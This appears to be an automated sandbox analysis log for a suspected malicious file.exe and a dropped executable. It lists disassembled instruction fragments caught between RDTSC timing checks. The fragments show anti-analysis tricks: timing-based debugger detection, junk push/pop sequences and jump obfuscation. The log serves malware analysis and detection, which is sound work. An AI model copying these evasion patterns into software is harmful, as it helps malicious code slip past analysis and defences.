Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770546 second address: 57705C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3BCD9519h 0x00000010 pushad 0x00000011 mov eax, 0759C76Dh 0x00000016 mov ch, 6Dh 0x00000018 popad 0x00000019 call 00007F3D49700262h 0x0000001e push 762327D0h 0x00000023 push dword ptr fs:[00000000h] 0x0000002a mov eax, dword ptr [esp+10h] 0x0000002e mov dword ptr [esp+10h], ebp 0x00000032 lea ebp, dword ptr [esp+10h] 0x00000036 sub esp, eax 0x00000038 push ebx 0x00000039 push esi 0x0000003a push edi 0x0000003b mov eax, dword ptr [762C0140h] 0x00000040 xor dword ptr [ebp-04h], eax 0x00000043 xor eax, ebp 0x00000045 push eax 0x00000046 mov dword ptr [ebp-18h], esp 0x00000049 push dword ptr [ebp-08h] 0x0000004c mov eax, dword ptr [ebp-04h] 0x0000004f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000056 mov dword ptr [ebp-08h], eax 0x00000059 lea eax, dword ptr [ebp-10h] 0x0000005c mov dword ptr fs:[00000000h], eax 0x00000062 ret 0x00000063 jmp 00007F3CD8C3C7E5h 0x00000068 and dword ptr [ebp-04h], 00000000h 0x0000006c jmp 00007F3CD8C3C7DEh 0x00000071 mov edx, dword ptr [ebp+0Ch] 0x00000074 pushad 0x00000075 pushad 0x00000076 popad 0x00000077 pushad 0x00000078 pushfd 0x00000079 jmp 00007F3CD8C3C7E4h 0x0000007e or ecx, 6CCF85C8h 0x00000084 jmp 00007F3CD8C3C7DBh 0x00000089 popfd 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57705C2 second address: 57705EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov esi, edx 0x00000008 pushad 0x00000009 mov eax, 74F959D1h 0x0000000e popad 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3CD87760F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57705EB second address: 57705FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD8C3C7DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57705FD second address: 577061C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 pushad 0x0000000a push edx 0x0000000b mov eax, 74F792FFh 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F3CD87760EBh 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577061C second address: 57705EB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3CD8C3C7E9h 0x00000008 jmp 00007F3CD8C3C7DBh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 test al, al 0x00000013 jmp 00007F3CD8C3C7E6h 0x00000018 jne 00007F3CD8C3C742h 0x0000001e mov al, byte ptr [edx] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3CD8C3C7E6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57706F7 second address: 57707C7 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 13959E3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F3CD87760F4h 0x0000000f adc cl, 00000028h 0x00000012 jmp 00007F3CD87760EBh 0x00000017 popfd 0x00000018 popad 0x00000019 inc edi 0x0000001a pushad 0x0000001b push ecx 0x0000001c pushfd 0x0000001d jmp 00007F3CD87760EBh 0x00000022 and esi, 5703C46Eh 0x00000028 jmp 00007F3CD87760F9h 0x0000002d popfd 0x0000002e pop eax 0x0000002f mov dx, 5864h 0x00000033 popad 0x00000034 test al, al 0x00000036 jmp 00007F3CD87760F3h 0x0000003b jne 00007F3D4922E3F6h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007F3CD87760EBh 0x0000004a xor ax, 8F2Eh 0x0000004f jmp 00007F3CD87760F9h 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007F3CD87760F0h 0x0000005b xor esi, 3E1F44A8h 0x00000061 jmp 00007F3CD87760EBh 0x00000066 popfd 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57707C7 second address: 577082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F3CD8C3C7DEh 0x00000010 shr ecx, 02h 0x00000013 jmp 00007F3CD8C3C7E0h 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 pushad 0x00000023 mov eax, 7534A4BDh 0x00000028 popad 0x00000029 mov ecx, edx 0x0000002b jmp 00007F3CD8C3C7E4h 0x00000030 and ecx, 03h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577082F second address: 5770833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770833 second address: 5770839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770839 second address: 577085C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, di 0x00000011 mov dh, 1Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577085C second address: 5770889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3CD8C3C7E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770889 second address: 5770907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3CD87760F7h 0x00000009 or ax, 757Eh 0x0000000e jmp 00007F3CD87760F9h 0x00000013 popfd 0x00000014 mov edx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, ebx 0x0000001b jmp 00007F3CD87760EAh 0x00000020 mov ecx, dword ptr [ebp-10h] 0x00000023 jmp 00007F3CD87760F0h 0x00000028 mov dword ptr fs:[00000000h], ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F3CD87760F7h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770907 second address: 5770934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3CD8C3C7DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770934 second address: 577093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577093A second address: 577093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577093E second address: 577098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push edx 0x0000000b mov edx, eax 0x0000000d pop eax 0x0000000e call 00007F3CD87760EDh 0x00000013 call 00007F3CD87760F0h 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a popad 0x0000001b pop esi 0x0000001c jmp 00007F3CD87760EEh 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F3CD87760EAh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577098A second address: 5770990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770990 second address: 5770996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770996 second address: 57709E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edx, cx 0x00000012 pushfd 0x00000013 jmp 00007F3CD8C3C7E6h 0x00000018 add cl, 00000018h 0x0000001b jmp 00007F3CD8C3C7DBh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57709E2 second address: 5770513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F3CD87760E5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movzx esi, di 0x00000027 mov ch, dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770AAE second address: 5770AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD8C3C7DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770AC0 second address: 5770AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3CD87760F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770AE9 second address: 5770B14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 7Eh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3CD8C3C7DAh 0x00000013 sub ecx, 7308FB48h 0x00000019 jmp 00007F3CD8C3C7DBh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770B14 second address: 5770B3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ACEAh 0x00000007 mov dx, ADB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3CD87760F8h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 4DF5DC second address: 4DF5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 4DEEBB second address: 4DEEE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F3CD87760E6h 0x00000009 jmp 00007F3CD87760F5h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push esi 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 4DEEE6 second address: 4DEEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 650CAA second address: 650CBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F3CD87760E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 658CAF second address: 658CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 658E66 second address: 658E6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 658E6D second address: 658E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6593AB second address: 6593C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F3CD87760E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F3CD87760EDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6593C7 second address: 6593CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D09D second address: 65D0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D0A5 second address: 65D0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D16D second address: 65D173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D173 second address: 65D1AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D2D5Bh] 0x00000015 push edi 0x00000016 mov ecx, esi 0x00000018 pop ecx 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D2E53h], edi 0x00000022 jno 00007F3CD8C3C7DCh 0x00000028 popad 0x00000029 push 0D7816EEh 0x0000002e push ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D358 second address: 65D3DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3CD87760F2h 0x00000008 jmp 00007F3CD87760ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 1CD6D0F9h 0x00000016 pushad 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b movsx edx, ax 0x0000001e popad 0x0000001f mov esi, 7576D94Fh 0x00000024 push 00000003h 0x00000026 jc 00007F3CD87760E9h 0x0000002c mov dword ptr [ebp+122D2E16h], esi 0x00000032 push 00000000h 0x00000034 mov edi, 6CDE118Fh 0x00000039 sub dword ptr [ebp+122D24C5h], ebx 0x0000003f push 00000003h 0x00000041 push ecx 0x00000042 mov edi, dword ptr [ebp+122D2BF3h] 0x00000048 pop esi 0x00000049 call 00007F3CD87760E9h 0x0000004e pushad 0x0000004f jmp 00007F3CD87760EFh 0x00000054 jne 00007F3CD87760E8h 0x0000005a popad 0x0000005b push eax 0x0000005c push edi 0x0000005d push edi 0x0000005e push edx 0x0000005f pop edx 0x00000060 pop edi 0x00000061 pop edi 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 pushad 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D3DC second address: 65D3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3CD8C3C7D6h 0x0000000a popad 0x0000000b jo 00007F3CD8C3C7D8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D3F8 second address: 65D3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D3FC second address: 65D400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D400 second address: 65D406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 65D406 second address: 65D46B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3CD8C3C7D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jns 00007F3CD8C3C7E3h 0x00000014 push eax 0x00000015 jmp 00007F3CD8C3C7DBh 0x0000001a pop eax 0x0000001b pop eax 0x0000001c and si, 685Ah 0x00000021 lea ebx, dword ptr [ebp+12451F05h] 0x00000027 or ecx, 2841E936h 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f jnp 00007F3CD8C3C7D8h 0x00000035 push eax 0x00000036 jmp 00007F3CD8C3C7E9h 0x0000003b pop eax 0x0000003c popad 0x0000003d push eax 0x0000003e jc 00007F3CD8C3C7DEh 0x00000044 push esi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67E1A6 second address: 67E1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 645291 second address: 645296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 645296 second address: 6452B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452B3 second address: 6452C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7DDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452C4 second address: 6452D6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452D6 second address: 6452E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F3CD8C3C7DEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452E3 second address: 6452EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452EF second address: 6452F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 6452F3 second address: 6452F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67C214 second address: 67C24D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F3CD8C3C7E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F3CD8C3C7E0h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F3CD8C3C7D6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67C382 second address: 67C399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3CD87760E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3CD87760EAh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67C399 second address: 67C3CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3CD8C3C7E4h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67CA96 second address: 67CA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67CA9A second address: 67CAA4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3CD8C3C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67CEEA second address: 67CEFC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F3CD87760EAh 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D053 second address: 67D057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D057 second address: 67D05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D187 second address: 67D191 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD8C3C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D191 second address: 67D1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3CD87760F4h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D1AB second address: 67D1EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E9h 0x00000007 jmp 00007F3CD8C3C7E7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007F3CD8C3C7D6h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D1EB second address: 67D1F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 672931 second address: 672936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 672936 second address: 67293C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67293C second address: 672940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67D8D1 second address: 67D8DB instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAA7 second address: 67DAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAAD second address: 67DAD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F2h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F3CD87760E8h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAD2 second address: 67DAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 67DAD8 second address: 67DAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
